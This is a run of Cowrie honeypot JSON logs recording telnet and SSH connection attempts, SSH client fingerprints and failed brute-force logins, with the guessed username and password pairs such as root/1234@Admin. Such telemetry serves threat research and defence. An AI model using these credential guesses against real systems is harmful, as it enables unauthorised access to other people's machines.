{"eventid":"cowrie.session.closed","duration":37.62559652328491,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:48:05.967850Z","src_ip":"172.81.62.90","session":"2632c7fa6956","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.192936182022095,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:48:07.327991Z","src_ip":"128.199.8.54","session":"59c7c616ea12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":43442,"dst_ip":"10.17.0.5","dst_port":23,"session":"260ab46dcc9c","protocol":"telnet","message":"New connection: 94.23.66.112:43442 (10.17.0.5:23) [session: 260ab46dcc9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:48:24.521575Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50466,"dst_ip":"159.203.135.109","dst_port":23,"session":"654ba9aa6e20","protocol":"telnet","message":"New connection: 128.199.8.54:50466 (159.203.135.109:23) [session: 654ba9aa6e20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:48:38.112335Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":45626,"dst_ip":"159.203.135.109","dst_port":23,"session":"197b8c753357","protocol":"telnet","message":"New connection: 172.81.62.90:45626 (159.203.135.109:23) [session: 197b8c753357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:48:46.901860Z"}
{"eventid":"cowrie.session.closed","duration":34.8587601184845,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:49:12.970927Z","src_ip":"128.199.8.54","session":"654ba9aa6e20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":58588,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce0b46d1d953","protocol":"ssh","message":"New connection: 14.63.196.175:58588 (10.17.0.5:22) [session: ce0b46d1d953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:49:25.180129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:49:25.185395Z","src_ip":"14.63.196.175","session":"ce0b46d1d953","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:49:25.387502Z","src_ip":"14.63.196.175","session":"ce0b46d1d953","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.193354845047,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:49:26.095088Z","src_ip":"172.81.62.90","session":"197b8c753357","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"kj","password":"kj@123","message":"login attempt [kj/kj@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:49:26.225692Z","src_ip":"14.63.196.175","session":"ce0b46d1d953","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:49:27.429673Z","src_ip":"14.63.196.175","session":"ce0b46d1d953","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.50.236","src_port":39912,"dst_ip":"159.203.135.109","dst_port":22,"session":"35b38ea65581","protocol":"ssh","message":"New connection: 161.132.50.236:39912 (159.203.135.109:22) [session: 35b38ea65581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:49:37.844342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:49:37.849405Z","src_ip":"161.132.50.236","session":"35b38ea65581","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:49:37.938717Z","src_ip":"161.132.50.236","session":"35b38ea65581","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"qwerty123","message":"login attempt [ftpuser/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:49:38.324243Z","src_ip":"161.132.50.236","session":"35b38ea65581","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:49:39.415406Z","src_ip":"161.132.50.236","session":"35b38ea65581","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":60538,"dst_ip":"159.203.135.109","dst_port":23,"session":"723809a0a69f","protocol":"telnet","message":"New connection: 107.6.151.170:60538 (159.203.135.109:23) [session: 723809a0a69f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:50:05.261744Z"}
{"eventid":"cowrie.session.closed","duration":120.00138592720032,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:50:24.522809Z","src_ip":"94.23.66.112","session":"260ab46dcc9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":38972,"dst_ip":"10.17.0.5","dst_port":22,"session":"08ac742a31a7","protocol":"ssh","message":"New connection: 27.71.230.31:38972 (10.17.0.5:22) [session: 08ac742a31a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:50:28.204276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:50:28.259722Z","src_ip":"27.71.230.31","session":"08ac742a31a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:50:28.623207Z","src_ip":"27.71.230.31","session":"08ac742a31a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234@Admin","message":"login attempt [root/1234@Admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:50:30.481352Z","src_ip":"27.71.230.31","session":"08ac742a31a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:50:32.022686Z","src_ip":"27.71.230.31","session":"08ac742a31a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.60740113258362,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:50:38.869016Z","src_ip":"107.6.151.170","session":"723809a0a69f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":37532,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcbb1fcb27a9","protocol":"ssh","message":"New connection: 94.159.110.201:37532 (10.17.0.5:22) [session: bcbb1fcb27a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:50:52.517332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:50:52.523174Z","src_ip":"94.159.110.201","session":"bcbb1fcb27a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:50:52.639819Z","src_ip":"94.159.110.201","session":"bcbb1fcb27a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"101019","message":"login attempt [root/101019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:50:52.993020Z","src_ip":"94.159.110.201","session":"bcbb1fcb27a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:50:54.112569Z","src_ip":"94.159.110.201","session":"bcbb1fcb27a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.50.236","src_port":56184,"dst_ip":"159.203.135.109","dst_port":22,"session":"02b76c24dfca","protocol":"ssh","message":"New connection: 161.132.50.236:56184 (159.203.135.109:22) [session: 02b76c24dfca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:51:26.728354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:51:26.732985Z","src_ip":"161.132.50.236","session":"02b76c24dfca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:51:26.821075Z","src_ip":"161.132.50.236","session":"02b76c24dfca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lucky","password":"lucky","message":"login attempt [lucky/lucky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:51:27.213695Z","src_ip":"161.132.50.236","session":"02b76c24dfca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:51:28.310177Z","src_ip":"161.132.50.236","session":"02b76c24dfca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":43838,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1f22e9cfe16","protocol":"telnet","message":"New connection: 172.81.62.90:43838 (159.203.135.109:23) [session: a1f22e9cfe16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:51:39.458296Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":60174,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8fbbb7624b7","protocol":"ssh","message":"New connection: 27.71.230.31:60174 (159.203.135.109:22) [session: c8fbbb7624b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:51:47.231740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:51:47.254659Z","src_ip":"27.71.230.31","session":"c8fbbb7624b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:51:47.567714Z","src_ip":"27.71.230.31","session":"c8fbbb7624b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234@Admin","message":"login attempt [root/1234@Admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:51:51.785197Z","src_ip":"27.71.230.31","session":"c8fbbb7624b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:51:53.235579Z","src_ip":"27.71.230.31","session":"c8fbbb7624b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49568,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d12b1819bf4","protocol":"telnet","message":"New connection: 128.199.8.54:49568 (159.203.135.109:23) [session: 7d12b1819bf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:51:57.318708Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":50454,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fe4f4e2c05a","protocol":"telnet","message":"New connection: 94.23.66.112:50454 (10.17.0.5:23) [session: 4fe4f4e2c05a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:52:00.150735Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":59002,"dst_ip":"10.17.0.5","dst_port":22,"session":"07889209c346","protocol":"ssh","message":"New connection: 14.63.196.175:59002 (10.17.0.5:22) [session: 07889209c346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:52:13.030097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:52:13.034423Z","src_ip":"14.63.196.175","session":"07889209c346","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:52:13.239135Z","src_ip":"14.63.196.175","session":"07889209c346","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tania","password":"tania123","message":"login attempt [tania/tania123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:52:14.093520Z","src_ip":"14.63.196.175","session":"07889209c346","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":59548,"dst_ip":"159.203.135.109","dst_port":22,"session":"23aa933c0c9b","protocol":"ssh","message":"New connection: 46.19.67.181:59548 (159.203.135.109:22) [session: 23aa933c0c9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:52:15.213920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:52:15.218909Z","src_ip":"46.19.67.181","session":"23aa933c0c9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:52:15.302695Z","src_ip":"14.63.196.175","session":"07889209c346","protocol":"ssh"}
